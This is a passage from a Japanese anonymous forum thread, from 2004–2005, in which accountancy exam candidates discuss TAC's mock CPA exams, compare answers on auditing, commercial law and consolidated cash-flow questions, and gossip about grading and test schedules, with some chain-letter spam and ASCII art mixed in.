答案の全体を見て50点満点で評価して×2をするそうです。


311 :一般に公正妥当と認められた名無しさん:04/06/26 10:44 ID:???
え、なになに監査で解答欄がないって?

312 :一般に公正妥当と認められた名無しさん:04/06/26 12:04 ID:???
>>311
そんなわけないですよ。ガセですよ。
何人もの人が目を通してチェックして答練を実施しているのですから。
そうしないと高いお金払ってまで受ける価値ないですよ。そうですよね?皆さん。

313 :一般に公正妥当と認められた名無しさん:04/06/26 12:20 ID:???
そのとおりだ。
6行の解答欄を設けてくれなんていう話が出るわけがない。

314 :一般に公正妥当と認められた名無しさん:04/06/26 13:00 ID:???
わらた

315 :一般に公正妥当と認められた名無しさん:04/06/26 22:52 ID:???
財表第四問 問2(2)
賃貸借処理のリース料って、営業支出だから営業活動でしょ?
簿記のC/Fでそうやってないっけ?

316 :一般に公正妥当と認められた名無しさん:04/06/27 01:19 ID:jN4J1XYJ
他校生だが、監査の「低廉報酬で監査を請け負う事の問題点は?」という問いの答、このように書いたんだがどうよ?

「低廉な監査報酬による監査業務の請負が大手を振るうと、監査法人としては
監査コストを必然的に削減せざるをえず、そのため監査契約の締結は柔軟に行えるように
なるものの監査の質が低下するという弊害を招きかねない」

317 :一般に公正妥当と認められた名無しさん:04/06/27 01:27 ID:/K8tnpm2
法人化のメリットの逆を書いたよ俺は、監査の実行性が害されるって事と、
監査人の独立性が害される可能性があるとかそんな感じ。

318 :一般に公正妥当と認められた名無しさん:04/06/27 01:49 ID:nIYNa/xP
たとえば26000円で引き受けることもあるが、このような愚行は新人の給料を確保できない結果、就職浪人が増えて困ると書きますた。

319 :一般に公正妥当と認められた名無しさん:04/06/28 04:34 ID:???
商法の問2ってなに?

株式交換?

320 :一般に公正妥当と認められた名無しさん:04/06/28 07:12 ID:nmHrVVXL
交換と吸収合併か??

321 :一般に公正妥当と認められた名無しさん:04/06/28 17:15 ID:gm4smzmk
漏れは吸収はつけずに単に「合併」としたが。
総会用の書類にわざわざ"吸収”なんてつけんだろと思って。


322 :一般に公正妥当と認められた名無しさん:04/06/28 17:20 ID:mvdkub6k
わかってないじゃん

吸収合併と交換
新設合併と移転

323 :一般に公正妥当と認められた名無しさん:04/06/28 17:57 ID:G91ONjou
>>322
わかってないのはお前だろw
ネタじゃなかったらやばいよ

324 :一般に公正妥当と認められた名無しさん:04/06/28 18:02 ID:???
もう答えで照るよ。

「株式交換、合併」

吸収合併はだめでしょう。

325 :一般に公正妥当と認められた名無しさん:04/06/28 18:07 ID:???
322は哀れな短答落ち(w

326 :一般に公正妥当と認められた名無しさん:04/06/28 19:24 ID:7iNKEBxI
簿記が思ってた以上に悪かった



327 :一般に公正妥当と認められた名無しさん:04/06/28 19:40 ID:AYz+Nn5Q
脚本家の野沢尚さんが死亡  
だって

328 :一般に公正妥当と認められた名無しさん:04/06/28 20:14 ID:???
>>324
合併もしくは吸収合併と書いてある。
ちゃんと嫁

329 :一般に公正妥当と認められた名無しさん:04/06/28 20:31 ID:???
ひろ本って今年ラスト?

330 :一般に公正妥当と認められた名無しさん:04/06/28 20:58 ID:???
監査の解説の講師なんてひと? なんかつまらない解説だった。
河村はいつも通りでもっとつまらなかったけど。




331 :一般に公正妥当と認められた名無しさん:04/06/29 05:46 ID:GzNM79US
ふー吸収合併でOKなんだね、良かった良かった。

332 :一般に公正妥当と認められた名無しさん:04/06/29 15:51 ID:ng4cv/4r
Oハラ生なんだけど、タック生はインデックス運用って知ってるの?
あと、胎教担当者も、機能がうちと全然違うんだよね。
うちのは、連結機能と境界維持機能って習ったんだけど。
同じ試験委員の同じ本を参考にしてるはずなのになぜ違うんだ・・・

333 :一般に公正妥当と認められた名無しさん:04/06/29 18:45 ID:???
>>332
インデックス運用なんて知らん。
だから、市場ポートフォリオに近似したポートフォリオを組み、そのポートフォリオと安全資産を組み合わせて運用すると書いたよ。
それと胎教担当者は、TACのでいいと思う。
山倉の講義でもそんな風に言ってたから。

334 :一般に公正妥当と認められた名無しさん:04/06/29 19:12 ID:???
インデックス運用やっているよ、しらねーと言う奴はアノマリーの例をチェックしろ。

それより、簿記のキャッシュの備品の処理の意味が分からないので、どなた詳しく教えてください。

335 :一般に公正妥当と認められた名無しさん:04/06/29 19:13 ID:sXuXLr64
やばいさげちゃった、あげ。

336 :一般に公正妥当と認められた名無しさん:04/06/29 19:21 ID:???
>>334
本当だ。そこまで細かくやって無かったよorz

解説のように売却価額をXと置いて求めれば解けると思われ。

337 :一般に公正妥当と認められた名無しさん:04/06/29 19:29 ID:sXuXLr64
>>336
いやそれは建物かと・・・・・・・

338 :一般に公正妥当と認められた名無しさん:04/06/29 19:35 ID:sXuXLr64
又後で来ます、336さんとりあえずありがとう。

339 :一般に公正妥当と認められた名無しさん:04/06/29 19:36 ID:???
fgf

340 :一般に公正妥当と認められた名無しさん:04/06/29 21:03 ID:jnx3ZZgB


341 :一般に公正妥当と認められた名無しさん:04/06/29 21:18 ID:3Zn21AT1
>>337
ごめん、商品を備品として仕入れたってやつか。

連結本来の仕分け
有形固定資産の取得による支出500/現金500

実際の仕分け(TN社)
仕入れ支出500/現金500
現金700/営業収入700

実際の仕分け(NM社)
有形固定資産の支出700/現金700

これの修正仕分けが解説にのってる。

342 :一般に公正妥当と認められた名無しさん:04/06/30 04:25 ID:pSIQrAAt
>>341
ありがとう!!!!!!!!!!!!!

343 :一般に公正妥当と認められた名無しさん:04/07/01 22:43 ID:hIRuQ9eC
すいません、簿記の連結キャッシュの社債の処理なんですけど、
あの 有価証券の償還による収入/社債償還支出 ってのはなんで出るんですか??
あれの判断はNM社の個別キャッシュを見て判断するって事ですか?? 詳しく教えてください。

344 :一般に公正妥当と認められた名無しさん:04/07/01 22:56 ID:???
>>343
質問の内容が良くわからんが、その仕訳がでるのは社債の満期が
到来してるから。償還額に関するキャッシュフローが個別財務表上
どちらにもあるはずだから連結上は相殺する必要があるだろ。

345 :一般に公正妥当と認められた名無しさん:04/07/02 16:17 ID:mOSkQ5iE
>>344
なるほど満期ですか、見落としていました!!ありがとうございました!!

346 :一般に公正妥当と認められた名無しさん:04/07/04 18:50 ID:o+PIMcFw
横浜校の者なんですが、
解説の時間割を教えていただけませんか?

347 :一般に公正妥当と認められた名無しさん:04/07/04 23:42 ID:???
>>346
明日と明後日の18時からで、
5日が簿記・財表・原型・民法。
6日が監査・商法・KA・経済。

348 :一般に公正妥当と認められた名無しさん:04/07/05 02:19 ID:NDHn6rlM
ありがとうございました!

349 :一般に公正妥当と認められた名無しさん:04/07/05 10:15 ID:wYZI1PRQ
全答錬の答案って講師が採点してるのかと思ったらそうじゃなかったんだな。

補習所で全答錬の採点してる奴が何人かいたもんな。

こんな状況お前ら甘受しちゃうわけ?

例えば去年、机を並べて勉強していた奴らが、お前らが一年かけて培った
努力の結晶である全答錬答案を、補習所講義聞きながらコソコソ採点
されちゃっているんだよ?

もー、俺はぁー、涙出ちゃうね。
こんな現実見ちゃうと…。

でも、現実はどうあれ、お前ら頑張れよ。
合格しさえすれば次のステージに進めるし、努力はきっと何らかの形で報われるはずだからさ。

350 :一般に公正妥当と認められた名無しさん:04/07/05 12:05 ID:4mn0ql88
まあ良いだろ全党連はあくまで全党連だし。

351 :一般に公正妥当と認められた名無しさん:04/07/05 12:28 ID:???
試験委員が院生に採点させてたらむかつくけどな。

352 :一般に公正妥当と認められた名無しさん:04/07/05 13:13 ID:???
させてますけど、なにか?

353 :一般に公正妥当と認められた名無しさん:04/07/06 23:54 ID:exyjcCMc
答案はいつ返ってくるの?

354 :一般に公正妥当と認められた名無しさん:04/07/07 00:05 ID:???
>>353
7月28日だったはず。

355 :一般に公正妥当と認められた名無しさん:04/07/07 21:57 ID:/29TKeoa
在外子会社の連結キャッシュで為替換算調整勘定をどうたらこうたら…
ってやつって授業で習ったの?
今年は簿記の授業出てないから知らなかったよ…。

356 :一般に公正妥当と認められた名無しさん:04/07/07 22:03 ID:j/zRIYzW
>>355
習ってないからこの問題で解き方をマスターしてくださいだって。

357 :一般に公正妥当と認められた名無しさん:04/07/08 00:05 ID:8qnkN5Kw
だよねぇ。
ありがとう。

358 :一般に公正妥当と認められた名無しさん:04/07/08 07:52 ID:aeCBdylL
タックだと講義でやったよ>>355

359 :一般に公正妥当と認められた名無しさん:04/07/08 08:04 ID:sW18p8mV
>>358
どの講師がやったの?
李と木戸はやってないよ。
テキストも取り扱ってないし、全答練解説でもやってないと言ってたけど?

360 :一般に公正妥当と認められた名無しさん:04/07/08 08:09 ID:aeCBdylL
李先生でやった、少なくともテキストにあるししっかり読めよ。

361 :一般に公正妥当と認められた名無しさん:04/07/08 08:14 ID:aeCBdylL
とりあえずテキストにあるのは確認してくれ、俺は嘘は言ってないから。

362 :一般に公正妥当と認められた名無しさん:04/07/08 08:20 ID:sW18p8mV
テキスト見たけど見つかんなかった。
何ページ?

363 :一般に公正妥当と認められた名無しさん:04/07/08 08:28 ID:aeCBdylL
在外子会社のキャッシュってあるでしょそこの間接法

364 :一般に公正妥当と認められた名無しさん:04/07/08 08:38 ID:aeCBdylL
嘘じゃないでしょ??

365 :一般に公正妥当と認められた名無しさん:04/07/08 08:39 ID:sW18p8mV
ごめん、載ってたよorz
あそこから連結貸借対照表の、資産・負債にかかる為調を修正していくのか。
思いつかなかったよ。

366 :一般に公正妥当と認められた名無しさん:04/07/08 08:40 ID:aeCBdylL
よかった、まあ本番で出きれば良いんだし調度よかったよね、
それじゃーねー。

367 :一般に公正妥当と認められた名無しさん:04/07/08 08:41 ID:sW18p8mV
ほんと、ごめん。
レジュメにも無かったし、例題(子会社だけのは載ってるけど)が無いから分からんかったよ。

368 :一般に公正妥当と認められた名無しさん:04/07/08 08:42 ID:sW18p8mV
さんくす!
論文で出たら確実に解けるようにしく

369 :一般に公正妥当と認められた名無しさん:04/07/08 12:19 ID:???
>>349
補習所行ってる講師は何人もいる。

370 :一般に公正妥当と認められた名無しさん:04/07/08 14:17 ID:???
>>369
349はそういうことをいいたいんじゃないと思われ
補修所で採点するほどの片手間で採点されているっていうことをいいたいと思われ

371 :一般に公正妥当と認められた名無しさん:04/07/08 21:50 ID:???
教えて君でスマソだが、全答練の解説会で配布物とかありましたか?
あと、山っていつもらえるんですか?
教えてください。

372 :一般に公正妥当と認められた名無しさん:04/07/08 22:10 ID:???
>>370
「全答練の答案って講師が採点してるのかと思ったらそうじゃなかったんだな。」
って最初に書いてるんだから>>369氏の解釈で合ってると思われ升。
この文章を普通に読んだら講師≠採点者と考えてるとしか思えない。

373 :一般に公正妥当と認められた名無しさん:04/07/15 00:20 ID:m662h7dH
2回目は700点くらいいってりゃ300位入りますかね?
1回目より平均高そうですけど

374 :一般に公正妥当と認められた名無しさん:04/07/26 23:41 ID:???
二回目の返却いつ?

375 :一般に公正妥当と認められた名無しさん:04/07/26 23:53 ID:???
28日

376 :一般に公正妥当と認められた名無しさん:04/07/27 00:02 ID:4jvjvTe5
>349 :一般に公正妥当と認められた名無しさん :04/07/05 10:15 ID:wYZI1PRQ
>全答錬の答案って講師が採点してるのかと思ったらそうじゃなかったんだな。
>
>補習所で全答錬の採点してる奴が何人かいたもんな。

残念ながら、俺が知ってる「採点者」は去年監査法人就職に漏れた奴と
3年学生合格の奴で、専門学校講師ではなかった。

どこの専門学校かは知らないけど。



377 :一般に公正妥当と認められた名無しさん:04/07/28 04:06 ID:???
結果発表本日キタル━━━━━━(゚∀゚)━━━━━━!!!!

378 :一般に公正妥当と認められた名無しさん:04/07/28 11:36 ID:VdB1FkeL
お前等どうでしたか??俺はこれから取りに逝きます。

379 :一般に公正妥当と認められた名無しさん:04/07/28 14:20 ID:???
タックって採点雑じゃない?大原のほうが採点丁寧で親切とおもう。

380 :一般に公正妥当と認められた名無しさん:04/07/28 16:25 ID:???
Oみたいに優秀者の割引きとかあるの?図書券のみ?
1位はいくらもらえんの?

381 :一般に公正妥当と認められた名無しさん:04/07/28 17:41 ID:???
>>380
今年で受かるつもりの椰子にとっては
図書券のほうがいいと思われ

382 :一般に公正妥当と認められた名無しさん:04/07/28 18:20 ID:???
監査論の優秀答案採点まちがってる。穴埋め問題のA193条ノ2ってちゃんと
書いてあるのに。カタカナは×ですか。まぁ1と見間違えたんだろうけど。

383 :一般に公正妥当と認められた名無しさん:04/07/28 18:26 ID:???
>>382
「ノ」じゃなくて「の」だからね。
こういう部分は公表されているフォーム通りに形式的に採点するんだよ。
CF計算書や損益計算書を挙げる順番も違ってたら×だし。

本試験もそうなんじゃないかな。

384 :一般に公正妥当と認められた名無しさん:04/07/28 18:36 ID:???
ところで全答練2回目上位200人の平均点はどれくらいですか。

385 :一般に公正妥当と認められた名無しさん:04/07/29 00:22 ID:eVZnJnHj
全党錬の全部の平均点教えてくれ

386 :一般に公正妥当と認められた名無しさん:04/07/30 14:47 ID:???
客観的なことは直接聞けばいいじゃん?
そんなことじゃ合格しても就職できないぞ!


387 ::04/07/30 23:29 ID:???
商法、あれじゃ復習できないじゃん。
何が悪くて何が良かったんだか・・・

TACって普段の答練も商法は採点箇所ごとに点数ふってくれないの?


388 :一般に公正妥当と認められた名無しさん:04/07/31 07:20 ID:???
戦後の法は平仮名、これ常識
監査のせんせいにとって常識かどうかしらぬが。

389 :一般に公正妥当と認められた名無しさん:04/08/01 11:58 ID:???
つーかテキストに平仮名で書いてあるじゃん、なんで間違えるのか分からないな。

390 : ◆lDRxxXXXXw :04/08/30 15:33 ID:???
test

391 :携帯推進委員長【秒】ゆっきぃ【殺】 ◆8.Yucky9Vk :04/09/06 07:50 ID:???
テスト

392 :一般に公正妥当と認められた名無しさん:04/09/30 07:57:55 ID:???
テスト

!base

393 :一般に公正妥当と認められた名無しさん:04/10/25 01:01:33 ID:???
平成17年の全答練について語りましょう。
とりあえず出題予想でも・・・・


394 :一般に公正妥当と認められた名無しさん:04/10/25 01:09:53 ID:???
随分気が早いな。。と釣られてみる

395 :一般に公正妥当と認められた名無しさん:05/02/04 22:42:01 ID:M4o3Tovk
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●不合格●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
これを見た人は確実に【不合格】です。これをコピペでどこかに3回貼れば回避できます。
これは本当です。やらないと一年無駄になります


396 :一般に公正妥当と認められた名無しさん:05/02/09 01:53:57 ID:rSbvRL43
TACの全答練って本当に昨年度の合格者が採点してたんだ。
知り合いとかが自分の答案採点してるかもしれないんだね。
嫌な感じだな。受けるのやめようかな。





397 :一般に公正妥当と認められた名無しさん:05/02/09 09:50:26 ID:???
タックの全答練の1回目と、大原のそれにあたる答連はいつ頃ですか?
タック生でも大原受けれますよね?

398 :一般に公正妥当と認められた名無しさん:05/02/12 15:55:07 ID:???
どうなんだ?

399 :一般に公正妥当と認められた名無しさん:05/02/12 16:44:04 ID:???
TAC全答練:4月と6月
大原公開模試:6月と7月
LEC公開模試:6月と7月(8月)


400 :一帆 ◆jbWuJtwOtc :05/02/12 17:22:58 ID:IilmL0Sg
400!

401 :一般に公正妥当と認められた名無しさん:05/02/12 18:07:22 ID:???
>>399
大原は7月1回のみ。

402 :一般に公正妥当と認められた名無しさん:05/02/12 19:07:50 ID:???
今年も本支店でるかな。

403 :一般に公正妥当と認められた名無しさん:05/02/12 21:28:40 ID:???
>LEC公開模試:6月と7月(8月)
イラネ



404 :一般に公正妥当と認められた名無しさん:05/02/13 00:17:15 ID:???
LEC模試。受講生100人

405 :一般に公正妥当と認められた名無しさん:05/02/13 00:26:06 ID:???
>>403
何で?
受験者数を水増しするから?


406 :403:05/02/14 22:56:41 ID:???
劣苦だから

407 :一般に公正妥当と認められた名無しさん:05/02/15 01:08:01 ID:F2AIv2Ab
士補が私怨で採点してるってこともあるの?


408 :一般に公正妥当と認められた名無しさん:05/02/15 09:14:35 ID:???
補習所で授業中に内職でやってるという噂を聞いたことがある

409 :一般に公正妥当と認められた名無しさん:05/02/15 11:36:28 ID:???
↑と、短答落ちが申しております










410 :一般に公正妥当と認められた名無しさん:05/03/07 22:21:55 ID:duMunKSm
本支店会計 後T/B作成型

411 :一般に公正妥当と認められた名無しさん:05/03/07 22:58:46 ID:???
ついに、、
あと一ヶ月か。。

412 :一般に公正妥当と認められた名無しさん:05/03/07 23:10:08 ID:???
なんで4がつなんだよっ

413 :一般に公正妥当と認められた名無しさん:05/03/07 23:14:52 ID:???
もうすこし日程に余裕がほしかった・・・。

414 :一般に公正妥当と認められた名無しさん:05/03/07 23:48:57 ID:iwEOy3G9
どうせ簿記は異常に難しい問題が出るんだろ?

415 :一般に公正妥当と認められた名無しさん:05/03/08 01:05:40 ID:???
つか、本試験の4ヶ月以上前の時期にやる意味はあるのかと・・・
本番は1年の3分の1以上先だよ・・

416 :一般に公正妥当と認められた名無しさん:05/03/08 08:42:30 ID:???
てーか、新しいスッドレ立てないか??

417 :会計士講座生:05/03/08 14:30:35 ID:???
そういや論文は8月下旬、結果発表は11月だっけな。
長いなぁー

418 :一般に公正妥当と認められた名無しさん:05/03/08 21:44:00 ID:???
TAC全答練:4月と6月
大原公開模試:6月と7月
LEC公開模試:6月と7月(8月)

タックだけ短刀前に第1回を実施するのには意味があるのだろうか?




419 :一般に公正妥当と認められた名無しさん:05/03/08 21:48:20 ID:???
金儲け

420 :一般に公正妥当と認められた名無しさん:05/03/08 23:09:38 ID:???
回転率上げてね

421 :一般に公正妥当と認められた名無しさん:05/03/08 23:12:27 ID:???
うん。頑張る^^

422 :一般に公正妥当と認められた名無しさん:05/03/08 23:14:51 ID:???
ちがくて、タックが担当前に全答練やるのは担当落として回転率上げるため

423 :一般に公正妥当と認められた名無しさん:05/03/09 01:17:44 ID:???
タック最悪だな

424 :一般に公正妥当と認められた名無しさん:05/03/09 06:47:03 ID:???
>>418
むしろ4月ではなく3月にやってほしいのだが・・・。

425 :一般に公正妥当と認められた名無しさん:05/03/09 14:16:54 ID:???
なんで?但東前にやっても実力は発揮できなくないか?特に1年目。

426 :一般に公正妥当と認められた名無しさん:05/03/09 14:36:53 ID:???
もっと担当模試を充実させたほうがいい希ガス

427 :一般に公正妥当と認められた名無しさん:05/03/09 14:38:33 ID:???
>>426
全答練を入れて10回もあるのに?

428 :一般に公正妥当と認められた名無しさん:05/03/12 00:42:33 ID:???
今年の日程を教えてくれ。

429 :一般に公正妥当と認められた名無しさん:05/03/12 22:27:36 ID:???
サバイバル答練

430 :一般に公正妥当と認められた名無しさん:05/03/13 00:43:43 ID:???
まぁ、第1回で名前載せればほぼ受かるよ。
ここで名前のセル人は相当調整ができてるから、担当特化のあともスムーズに論文に繋がる。

これは去年のスレだからあたらし井野に変えないか?

431 :一般に公正妥当と認められた名無しさん:05/03/13 02:16:52 ID:???
そうでもないだろ

432 :一般に公正妥当と認められた名無しさん:05/03/13 15:38:55 ID:???
もう申し込み受け付けしてる?

433 :一般に公正妥当と認められた名無しさん:05/03/13 17:00:03 ID:???
>>404
LECっていまや主力講師でも受講生一桁だよ
母集団100人もいないって

434 :一般に公正妥当と認められた名無しさん:05/03/13 17:11:11 ID:???
サバイバルLEC

435 :一般に公正妥当と認められた名無しさん:05/03/13 19:16:04 ID:???
今日パンフレットもらってきた
第1回は、平日クラス4/12〜4/14、土日クラス4/16〜4/17だよ

436 :一般に公正妥当と認められた名無しさん:05/03/13 22:55:44 ID:ldkDjFML
チャンピオンが終わって、次は全答練か・・・。

但東の勉強も並行してやらなきゃ本試験にまにあわん

437 :一般に公正妥当と認められた名無しさん:05/03/19 19:23:36 ID:???
準備はいかがかな

438 :一般に公正妥当と認められた名無しさん:05/03/20 23:24:19 ID:???
全答練出題予想してくれ

439 :一般に公正妥当と認められた名無しさん:05/03/20 23:57:20 ID:zf5IPgwM
今年の受験生はほとんど短答不合格者だろ。

440 :一般に公正妥当と認められた名無しさん:2005/03/21(月) 12:26:26 ID:???
まさみたいな初受験者もたくさんうける

441 :一般に公正妥当と認められた名無しさん:2005/03/21(月) 12:56:45 ID:???
胆石が大きくなってしまって緊急入院しました。
今年は断念します。みんな頑張って。

442 :一般に公正妥当と認められた名無しさん:2005/03/21(月) 12:58:47 ID:???
>>441
それはもったいない・・・。早く治して新試験入門生をびびらすくらいの実力つけてくれ

443 :一般に公正妥当と認められた名無しさん:2005/03/21(月) 12:59:13 ID:???
漏れはインフルエンザこじらせて去年断念したなぁ・・・

444 :441:2005/03/21(月) 22:25:54 ID:???
442さん、443さん、今年合格して将来立派な会計士になって下さいね。
応援しています。
私も早く退院して来年に向けてがんばります。

445 :443:2005/03/21(月) 22:49:40 ID:???
>>444
ありがとう。あんたの分まで死ぬ気で頑張ってくるよ!
早く良くなってくれよな!

446 :一般に公正妥当と認められた名無しさん:2005/03/21(月) 23:15:24 ID:fQFI7ksa
皆に幸あれ

447 :斉藤のみぎうで:2005/03/22(火) 18:56:50 ID:???
斉藤博明著「ビジネスの論理」通称「ビジ論」はすでにTAC生のバイブルとなりつつある。
自習室で学習する多くの受験生の傍らには、この赤い表紙の本が備えおかれている。
休憩室での話題は、「ビジ論」についての議論で持ちきりだ。
また、受講生に対しどのように指導すればいいのか、という講師なら誰もが持つ疑問にも、
この本は適切なアドバイスを与えてくれる。実際、講義の合間には講師たちが熱心にこの本に
見入っている。
もはや、斉藤氏はTACに関わるすべての者にとって、神のような存在なのだ。

「私はいつも限界に向き合い、格闘し、限界を超えて生きてきた。」
資格の学校TACの学院長・斉藤博明氏が自らの人生を振り返り、自身の原点と経営戦略を語る珠玉の一冊。


448 :一般に公正妥当と認められた名無しさん:皇紀2665/04/01(金) 06:49:51 ID:???
しんすれたてない?

449 :一般に公正妥当と認められた名無しさん:皇紀2665/04/01(金) 06:50:17 ID:???
あげ

450 :一般に公正妥当と認められた名無しさん:2005/04/03(日) 00:57:02 ID:???
全答練まで2週間きった

451 :一般に公正妥当と認められた名無しさん:2005/04/03(日) 01:04:25 ID:???
で、この時期に全答練受ける意味はあるの?

452 :一般に公正妥当と認められた名無しさん:2005/04/03(日) 01:17:28 ID:???
>>451
なんでないと思う?本試験レベルの問題を解いたことがない1年目の
俺には大いに意味あるとふんでるんだが。
手薄な経営を復習するいい機会。
もっとも、短刀に不安のある香具師はやめたほうがいいと思われるが

453 :一般に公正妥当と認められた名無しさん:2005/04/11(月) 20:25:35 ID:???
明日から全党れんんあおの二なんだこの静けさは

454 :一般に公正妥当と認められた名無しさん:2005/04/11(月) 20:34:42 ID:???
>>453
受けないって香具師が多いんだが・・・
おまいさんは受けるのかい?

455 :一般に公正妥当と認められた名無しさん:2005/04/11(月) 20:46:21 ID:???
断然トップを取るだろうと思われてた奴が回避するみたいだからな・・

456 :一般に公正妥当と認められた名無しさん:2005/04/11(月) 21:36:06 ID:+wxFRXhd
↑それはまさのことかい?

457 :453:2005/04/11(月) 22:26:43 ID:???
俺は受けるぞ!


458 :一般に公正妥当と認められた名無しさん:2005/04/11(月) 22:48:40 ID:???
土日に受けるわ。

459 :一般に公正妥当と認められた名無しさん:2005/04/11(月) 22:50:03 ID:???
まあ彼はここで燃え尽きる訳にはいかないからな
本番の短答・論文両方満点取るために、ここはパスして充電だろう

460 :Mark Panther:2005/04/11(月) 23:29:24 ID:???
今年の平均は各科目何点くらいかね

461 :一般に公正妥当と認められた名無しさん:2005/04/11(月) 23:41:59 ID:+wxFRXhd
↑本試験みたことある?短答はともかく論文で満点なんて百パー不可能だよ。

462 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 12:28:10 ID:???
講師が「全答練一回目はTAC講師採用試験以外の何物でもないから、受ける価値なし」とかいってると、やる気なくすよな・・・。俺は週末受けるけど。

463 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 14:57:46 ID:Np3fbh1l
阿呆な講師だな。ほっとけ

464 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 15:03:27 ID:vWfTZyiQ
お前ら頑張れ!!撤退した俺が応援しちゃう!!俺は内定なんとか貰えたよ、
お前らは合格して会計士になれ、俺の分も頑張って監査してくれ。

465 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 19:43:45 ID:???
今日は思ったよりはできたからよかった

466 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 20:13:09 ID:???
何番以内に入ると名前載るの?


467 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 20:49:09 ID:???
自己株式のなんて書いた?

468 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 21:30:52 ID:???
土日クラスの人が居るから内緒!!

469 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 21:41:24 ID:IQC2i1i+
株主間の富の移転、資産ととらえ簿外資産が生じないように時価

470 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 21:56:30 ID:???
短答でどうせ落ちるのにわざわざオオハラから受けに来てる奴いたなw手を広げすぎて落ちたって奴をよく話に聞くけどw

471 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:00:18 ID:???
まだ受けてない人のために配慮するなんておまいらオトナだな。


472 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:05:30 ID:???
自己株式は資産負債中心観で資産計上

473 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:16:54 ID:???
自己株の論点なんて始めて聴いた

474 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:22:20 ID:???
ええ!?
自己株って本試験でも数回問われてる論点じゃん。
資産計上か資本から控除か、とか取得に要した費用は原価算入か費用処理か
とか処分に要した支出は費用か資本のマイナスかとか…

過去問分析は合否の鍵ぞ。


475 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:40:54 ID:???
無償取得うんぬんは俺も初耳だった

476 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:42:15 ID:???
おまえでさえ初耳ならみんな初耳だよ。
大成仏。埋没埋没。


477 :476:2005/04/12(火) 22:42:49 ID:???
×大成仏。
○大丈夫。


478 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:49:20 ID:???
muzukasikatta

479 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:49:33 ID:???
会計法奇襲にのってないか?無償取得と有償取得の論拠は

480 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:54:38 ID:???
おまいらのバカさアピールはもういい

481 :ミッキー:2005/04/12(火) 22:54:44 ID:???
                 ,,,,,-- ,,,,
ノ"""ヽ    __     彡       ヾ
|   ヾ ノ⌒   ""--彡 ::  σ  ο ミ    
\   ::;;;::       ;; 丿:::    ▼ :::ミ
  ヽ :::            ;;┌=ヽノヾノ┐  >>470 あんたも人の気にしとる事を言いなさんな。
    ̄ヾ            ‖ ::::::::::::::| ‖  
      |;;        ::::‖;;;;;;;;;;;;;;;;;;ノ ‖   
   .   |;;     ::::    ..‖;;__---==;;;; ]   
      |;;    _  :: :::;;;;;彳≡≡≡≡;;彡 
       ヽ ;;;ノヽ ::::::::;;;;;;;; ミ≡≡≡≡彡.
         |.;;;「 《 ::;;;;;;==.....ミ≡≡≡彡 . 
       . | ヽ .. ゝ ;;;;;| ..ヾ:;;;; |  
        |  |  | :;;;;|  | ::: |  
        "::;;;ノ  | :;;;| .. / ::;;/           
            ヽ _;;ヽ ;; ;;;ノ  


482 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:57:08 ID:???
土日受験生が成績優秀者として名前の載らない理由がこのスレ見て分かったよ。


483 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:58:02 ID:???
>>468
土日で受ける香具師は池沼

484 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 22:58:48 ID:???
この模試って公開だろ?
別に大原生とLEC生が来ていてもふつーじゃん。
おおっぴらに大原テキストLECテキストを広げるのは勇気がいる行為かも
しれんがのう。。。


485 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 23:08:36 ID:???
俺、大原だけど受けちゃいました…
他校での順位って気になるので…
って、TAC生なら大規模だから気にならないのか…

486 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 23:13:29 ID:???
漏れTAC生だけど同じ期待を持ってるよ。
TAC内での答練は全て同じ人が採点するわけではないので特に理論科目は
採点者によってつく点数が異なる。ある採点者は80点満点で採点している
傍ら、他の採点者は70点満点で採点してたりして、答練参加者数が多い
裏でこのような規模の不経済を発揮してるから、TAC内での順位は分から
ない。
当然総合的な順位が気になるよ。


487 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 23:24:15 ID:j9lwx9yc
経営の問題が事前に漏れていたらしい

488 :一般に公正妥当と認められた名無しさん:2005/04/12(火) 23:28:27 ID:???
どうしてそんなこと分かるのさ。


489 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 06:12:16 ID:???
全は同じ講師が採点するよ。
理論講師が3000枚以上の採点はホントしんどい
計算科目の講師になりゃよかったってゆってた。

TACもそれほどアホじゃないだろ

490 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 11:06:30 ID:???
何人かテキスト見ながら受けてる香具師がいるんだが・・・

491 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 14:55:55 ID:???
それただの不正行為だろ。試験官は何してんだ?
てゆーかそんなことしてまで受ける意味あるのか?
うちんところの試験官はヤメの合図の後もペン持ってたら不正行為とみなすと言うほど厳格だったぞ。

492 :一般に公正妥当と認められた名無しさん:2005/04/13(水) 15:57:04 ID:???
